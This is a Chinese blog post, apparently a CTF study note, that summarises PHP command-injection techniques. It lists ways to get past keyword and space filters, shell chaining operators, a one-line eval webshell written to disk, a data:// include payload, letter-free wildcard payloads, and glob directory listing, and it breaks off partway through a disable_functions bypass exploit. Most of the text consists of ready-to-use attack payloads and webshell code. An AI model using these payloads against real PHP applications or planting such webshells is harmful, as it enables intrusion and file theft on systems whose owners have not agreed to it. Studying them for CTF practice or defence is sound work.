命令执行rec总结

本文详细总结了PHP命令执行的各种方法,包括过滤关键字的绕过、执行命令的函数、读取文件的技巧、管道符的使用、写入木马以及在不同限制条件下的命令执行策略,还涉及到PHP突破disable_functions的技巧和无回显RCE的解决办法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

过滤flag,php等关键字

fla?
fla\g
fl*
fla’'g
变量拼接
利用$_POST和$_GET
PHP短标签

控制参数: short_open_tag = On 如果设置为Off,则不能正常解析类似于这样形式的php文件: phpinfo() ?> 而只能解析 <?php phpinfo() ?> 这样形式的php文件 所以要想php支持短标签,需要我们把short_open_tag 设置为On.

<?php 这是完整标签 <? 这是短标签 //php.ini中 short_open_tag = On //除<?php ?>,可使用更灵活的调用方法 <? /*程序操作*/ ?> <?=/*函数*/?>

或者

<script language=”php”>
     echo“444444444444 <br></script>

如果是替换可以双写绕过

用于执行rce的函数和方法

反引号``与shell_exec作用相同
system执行外部程序,并且显示输出
exec 执行一个外部程序
passthru执行外部程序并且显示原始输出
shell_exec通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

用于读取文件内容的函数和方法

tac
cat
head
tail
more
less
nl
cp flag.php 1.txt
mv

php函数
scandir()

当空格被过滤

${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09水平制表符替换
%0a换行键替换
%0b垂直制表符替换

常用管道符

  • “;”:执行完前面的语句再执行后面的语句。
  • “|”:显示后面语句的执行结果。| 表示管道,上一条命令的输出,作为下一条命令参数(输入)。
  • “||”:当前面的语句执行出错时,执行后面的语句。|| 表示上一条命令执行失败后,才执行下一条命令。
  • “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。单一个& 符号,且放在完整指令列的最后端,即表示将该指令列放入后台中工作。
  • “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。&& 表示前一条命令执行成功时,才执行后一条命令。

写入木马

echo "<?php @eval(\$_POST['shell']);?>" >> 1.php

echo -e 处理特殊字符
echo命令会调用$_POST导致原始文件中没有,所以要加一个\

include($c.".php");

?c=data://text/plain,<?php system('cat fla?.php')?>
这样也可以执行,因为该语句会先执行<?php system('cat fla?.php')?>然后在加上.php

无字母数字的命令执行

https://blog.youkuaiyun.com/qq_46091464/article/details/108513145
例題:

<?php
if(isset($_GET['c'])){
   
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
   
        system($c);
    }
}else{
   
    highlight_file(__FILE__);
}

payload: ?c=/???/???64%20???.???
或者?c=/???/???/???2 ???.??? —》 然后在url + /flag.php.bz2
前置知识:
bin目录:

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php 对应的就是/???/???64%20???.???

另外一种payload
/usr/bin目录:

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。

我们可以利用/usr/bin下的bzip2

意思就是说我们先将flag.php文件进行压缩,然后再将其下载

PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数

https://www.anquanke.com/post/id/197745?from=singlemessage#h2-0
glob

查找匹配的文件路径模式,是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议

常用bypass方式如下:

<?php
$c="glob:///*";
$a=new DirectoryIterator($c);
foreach($a as $f){
   
echo($f->$_toString().'<br>');
}
?>

可以用来列举根目录

我们还可以这样来利用查找txt文件

c=
$a=new DirectoryIterator("glob:///*.txt");   
foreach($a as $f) 
{
   
echo($f->__toString().' ');
} 
exit(0);

若根目录中有一个flag0.txt,可以用脚本读出来

function ctfshow($cmd) {
   
    global $abc, $helper, $backtrace;

    class Vuln {
   
        public $a;
        public function __destruct() {
    
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
   
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
   
        public $a, $b, $c, $d;
    }

    function str2ptr</
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值